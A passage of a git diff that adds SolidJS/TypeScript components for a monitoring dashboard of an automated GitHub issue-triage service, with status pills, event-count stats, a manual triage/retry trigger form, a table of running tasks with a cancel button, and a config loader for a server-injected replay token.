||||
const className = (): string => {
|
||||
const parts = ["pill"];
|
||||
if (props.state) parts.push(props.state);
|
||||
if (props.dot) parts.push("dot");
|
||||
if (props.class) parts.push(props.class);
|
||||
return parts.join(" ");
|
||||
};
|
||||
return (
|
||||
<span class={className()} title={props.title}>
|
||||
{props.children}
|
||||
</span>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,45 @@
|
||||
import { For, type JSX } from "solid-js";
|
||||
|
||||
import { statusResource } from "../state";
|
||||
import { EVENT_STATE_ORDER, type EventState } from "../types";
|
||||
|
||||
const ACCENT: Record<EventState, string> = {
|
||||
queued: "text-[#9ec9ff]",
|
||||
running: "text-[#ffe26b]",
|
||||
done: "text-[#7fe5a3]",
|
||||
failed: "text-[#ff8e85]",
|
||||
skipped: "text-ink-300",
|
||||
};
|
||||
|
||||
export function Stats(): JSX.Element {
|
||||
const counts = (): Record<EventState, number> => {
|
||||
const status = statusResource();
|
||||
if (!status) return { queued: 0, running: 0, done: 0, failed: 0, skipped: 0 };
|
||||
return status.issue_event_counts ?? status.event_counts;
|
||||
};
|
||||
|
||||
return (
|
||||
<section
|
||||
class="glass glass-rise rounded-[22px] grid gap-px overflow-hidden"
|
||||
style={{
|
||||
"grid-template-columns": "repeat(5, minmax(0, 1fr))",
|
||||
"background-color": "rgba(255, 255, 255, 0.05)",
|
||||
}}
|
||||
title="newest non-skipped event per issue"
|
||||
>
|
||||
<For each={EVENT_STATE_ORDER}>
|
||||
{(state) => (
|
||||
<div
|
||||
class="px-5 py-5 flex flex-col gap-1.5"
|
||||
style={{ "background-color": "rgba(8, 11, 16, 0.55)" }}
|
||||
>
|
||||
<span class="eyebrow">{state}</span>
|
||||
<span class={`text-[34px] leading-none font-semibold tabular ${ACCENT[state]}`}>
|
||||
{counts()[state] ?? 0}
|
||||
</span>
|
||||
</div>
|
||||
)}
|
||||
</For>
|
||||
</section>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,79 @@
|
||||
import { createSignal, type JSX, Show } from "solid-js";
|
||||
|
||||
import { CONFIG } from "../config";
|
||||
import { runTrigger, triggerStatus } from "../state";
|
||||
import { GlassCard } from "./GlassCard";
|
||||
|
||||
const STATUS_TONE = {
|
||||
idle: "text-ink-400",
|
||||
pending: "text-ink-200",
|
||||
ok: "text-[#7fe5a3]",
|
||||
err: "text-[#ff8e85]",
|
||||
} as const;
|
||||
|
||||
export function Trigger(): JSX.Element {
|
||||
const [issue, setIssue] = createSignal<string>("");
|
||||
|
||||
const validate = (): string | null => {
|
||||
const value = issue().trim();
|
||||
if (!value) return "enter owner/repo#NN";
|
||||
return null;
|
||||
};
|
||||
|
||||
const handleTriage = (): void => {
|
||||
const value = issue().trim();
|
||||
if (!value) return;
|
||||
void runTrigger({ mode: "triage", issue: value });
|
||||
};
|
||||
|
||||
const handleRetry = (): void => {
|
||||
const value = issue().trim();
|
||||
if (!value) return;
|
||||
void runTrigger({ mode: "retry", issue: value });
|
||||
};
|
||||
|
||||
return (
|
||||
<GlassCard heading="trigger" accessory={<span class="text-ink-400">owner/repo#NN</span>}>
|
||||
<Show
|
||||
when={CONFIG.replayEnabled}
|
||||
fallback={
|
||||
<div class="px-5 py-7 text-ink-300 text-[13px] leading-relaxed">
|
||||
trigger disabled. set <code>ROBOMP_REPLAY_TOKEN</code> in the server env to enable
|
||||
manual triage and retry actions.
|
||||
</div>
|
||||
}
|
||||
>
|
||||
<div class="px-5 pb-5 pt-1 flex flex-col gap-4">
|
||||
<div class="form-row">
|
||||
<input
|
||||
type="text"
|
||||
spellcheck={false}
|
||||
placeholder="octo/widget#42"
|
||||
autocomplete="off"
|
||||
value={issue()}
|
||||
onInput={(ev) => setIssue(ev.currentTarget.value)}
|
||||
onKeyDown={(ev) => {
|
||||
if (ev.key === "Enter") handleTriage();
|
||||
}}
|
||||
class="flex-1 min-w-[220px] font-mono"
|
||||
/>
|
||||
<button class="primary" onClick={handleTriage}>
|
||||
fetch & triage
|
||||
</button>
|
||||
<button onClick={handleRetry}>retry latest run</button>
|
||||
</div>
|
||||
<Show
|
||||
when={triggerStatus().text}
|
||||
fallback={
|
||||
<span class={`text-[12px] ${STATUS_TONE.idle}`}>{validate() ?? "ready"}</span>
|
||||
}
|
||||
>
|
||||
<span class={`text-[12px] ${STATUS_TONE[triggerStatus().kind]}`}>
|
||||
{triggerStatus().text}
|
||||
</span>
|
||||
</Show>
|
||||
</div>
|
||||
</Show>
|
||||
</GlassCard>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,160 @@
|
||||
import { For, type JSX, Show } from "solid-js";
|
||||
|
||||
import { CONFIG } from "../config";
|
||||
import { fmtAge, fmtDuration, shortDelivery, splitIssueKey } from "../format";
|
||||
import { runCancel, statusResource } from "../state";
|
||||
import type { RunningEvent } from "../types";
|
||||
import { GlassCard } from "./GlassCard";
|
||||
import { IssueLink } from "./IssueLink";
|
||||
import { Pill } from "./Pill";
|
||||
|
||||
interface Row {
|
||||
key: string;
|
||||
delivery_id: string;
|
||||
issue_key: string | null;
|
||||
event_type: string;
|
||||
attempts: number;
|
||||
model: string | null;
|
||||
last_tool: string | null;
|
||||
last_tool_ts: string | null;
|
||||
started_at: string | null;
|
||||
inflight_only: boolean;
|
||||
}
|
||||
|
||||
function rowsFor(running: RunningEvent[], inflight: string[]): Row[] {
|
||||
const out: Row[] = [];
|
||||
const seen = new Set<string>();
|
||||
for (const e of running) {
|
||||
const key = e.issue_key ?? e.delivery_id;
|
||||
seen.add(key);
|
||||
out.push({
|
||||
key,
|
||||
delivery_id: e.delivery_id,
|
||||
issue_key: e.issue_key,
|
||||
event_type: e.event_type,
|
||||
attempts: e.attempts,
|
||||
model: e.model,
|
||||
last_tool: e.last_tool,
|
||||
last_tool_ts: e.last_tool_ts,
|
||||
started_at: e.started_at ?? e.received_at,
|
||||
inflight_only: false,
|
||||
});
|
||||
}
|
||||
for (const key of inflight) {
|
||||
if (seen.has(key)) continue;
|
||||
out.push({
|
||||
key,
|
||||
delivery_id: "",
|
||||
issue_key: key,
|
||||
event_type: "",
|
||||
attempts: 0,
|
||||
model: null,
|
||||
last_tool: null,
|
||||
last_tool_ts: null,
|
||||
started_at: null,
|
||||
inflight_only: true,
|
||||
});
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
async function cancelDelivery(deliveryId: string): Promise<void> {
|
||||
if (
|
||||
!window.confirm(
|
||||
"Kill this running task? The omp subprocess dies and the row lands in 'failed'.",
|
||||
)
|
||||
) {
|
||||
return;
|
||||
}
|
||||
await runCancel(deliveryId);
|
||||
}
|
||||
|
||||
function elapsed(startedAt: string | null): string {
|
||||
if (!startedAt) return "—";
|
||||
const t = Date.parse(startedAt);
|
||||
if (Number.isNaN(t)) return "—";
|
||||
return fmtDuration((Date.now() - t) / 1000);
|
||||
}
|
||||
|
||||
export function Working(): JSX.Element {
|
||||
const rows = (): Row[] => {
|
||||
const s = statusResource();
|
||||
return s ? rowsFor(s.running_events, s.inflight) : [];
|
||||
};
|
||||
|
||||
return (
|
||||
<GlassCard heading="currently working" accessory={<span class="tabular">{rows().length}</span>}>
|
||||
<Show when={rows().length} fallback={<div class="empty">idle — waiting for events</div>}>
|
||||
<div class="overflow-x-auto scrollable">
|
||||
<table class="t">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>issue</th>
|
||||
<th>event</th>
|
||||
<th>state</th>
|
||||
<th>elapsed</th>
|
||||
<th>model</th>
|
||||
<th>last action</th>
|
||||
<th>attempt</th>
|
||||
<th />
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<For each={rows()}>{(r) => <WorkingRow row={r} />}</For>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
</Show>
|
||||
</GlassCard>
|
||||
);
|
||||
}
|
||||
|
||||
function WorkingRow(props: { row: Row }): JSX.Element {
|
||||
const ref = (): { repo: string; number: string } => splitIssueKey(props.row.issue_key);
|
||||
return (
|
||||
<tr>
|
||||
<td>
|
||||
<Show when={ref().number} fallback={<code>{shortDelivery(props.row.delivery_id)}</code>}>
|
||||
<IssueLink repo={ref().repo} number={ref().number} />
|
||||
</Show>
|
||||
</td>
|
||||
<td class="text-ink-300">{props.row.event_type || "—"}</td>
|
||||
<td>
|
||||
<Pill state="running" dot>
|
||||
{props.row.inflight_only ? "inflight" : "running"}
|
||||
</Pill>
|
||||
</td>
|
||||
<td class="tabular">{elapsed(props.row.started_at)}</td>
|
||||
<td>
|
||||
{props.row.model ? (
|
||||
<code title={props.row.model}>{props.row.model}</code>
|
||||
) : (
|
||||
<span class="text-ink-400">—</span>
|
||||
)}
|
||||
</td>
|
||||
<td>
|
||||
{props.row.last_tool ? (
|
||||
<span>
|
||||
<code>{props.row.last_tool}</code>
|
||||
<span class="text-ink-400 ml-2">{fmtAge(props.row.last_tool_ts)}</span>
|
||||
</span>
|
||||
) : (
|
||||
<span class="text-ink-400">{props.row.inflight_only ? "held by pool" : "—"}</span>
|
||||
)}
|
||||
</td>
|
||||
<td class="text-ink-300 tabular">
|
||||
{props.row.inflight_only ? "—" : `#${props.row.attempts}`}
|
||||
</td>
|
||||
<td>
|
||||
<Show
|
||||
when={CONFIG.replayEnabled && !props.row.inflight_only}
|
||||
fallback={<span class="text-ink-400">—</span>}
|
||||
>
|
||||
<button class="tiny danger" onClick={() => cancelDelivery(props.row.delivery_id)}>
|
||||
cancel
|
||||
</button>
|
||||
</Show>
|
||||
</td>
|
||||
</tr>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
// Configuration injected by FastAPI at request time. The server replaces the
|
||||
// `__ROBOMP_CONFIG__` sentinel in `static/index.html` with a JSON blob so the
|
||||
// SPA never needs to make an extra round-trip just to learn whether the
|
||||
// trigger surface is enabled.
|
||||
|
||||
export interface AppConfig {
|
||||
replayEnabled: boolean;
|
||||
replayToken: string;
|
||||
}
|
||||
|
||||
function readConfig(): AppConfig {
|
||||
const node = document.getElementById("robomp-config");
|
||||
const text = node?.textContent?.trim();
|
||||
if (!text || text === "__ROBOMP_CONFIG__") {
|
||||
return { replayEnabled: false, replayToken: "" };
|
||||
}
|
||||
try {
|
||||
const parsed: unknown = JSON.parse(text);
|
||||
if (parsed === null || typeof parsed !== "object") {
|
||||
return { replayEnabled: false, replayToken: "" };
|
||||
}
|
||||
const record = parsed as Record<string, unknown>;
|
||||
return {
|
||||
replayEnabled: Boolean(record.replayEnabled),
|
||||
replayToken: typeof record.replayToken === "string" ? record.replayToken : "",
|
||||
};
|
||||
} catch {
|
||||
return { replayEnabled: false, replayToken: "" };
|
||||
}
|
||||
}
|
||||
|
||||
export const CONFIG: AppConfig = readConfig();
|
||||
|
||||
export const AUTH_HEADERS: Readonly<Record<string, string>> = CONFIG.replayEnabled
|
||||
? Object.freeze({ "X-Robomp-Replay-Token": CONFIG.replayToken })
|
||||
: Object.freeze({});
|
||||
|
||||
export const POLL_INTERVAL_MS = 3000;
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user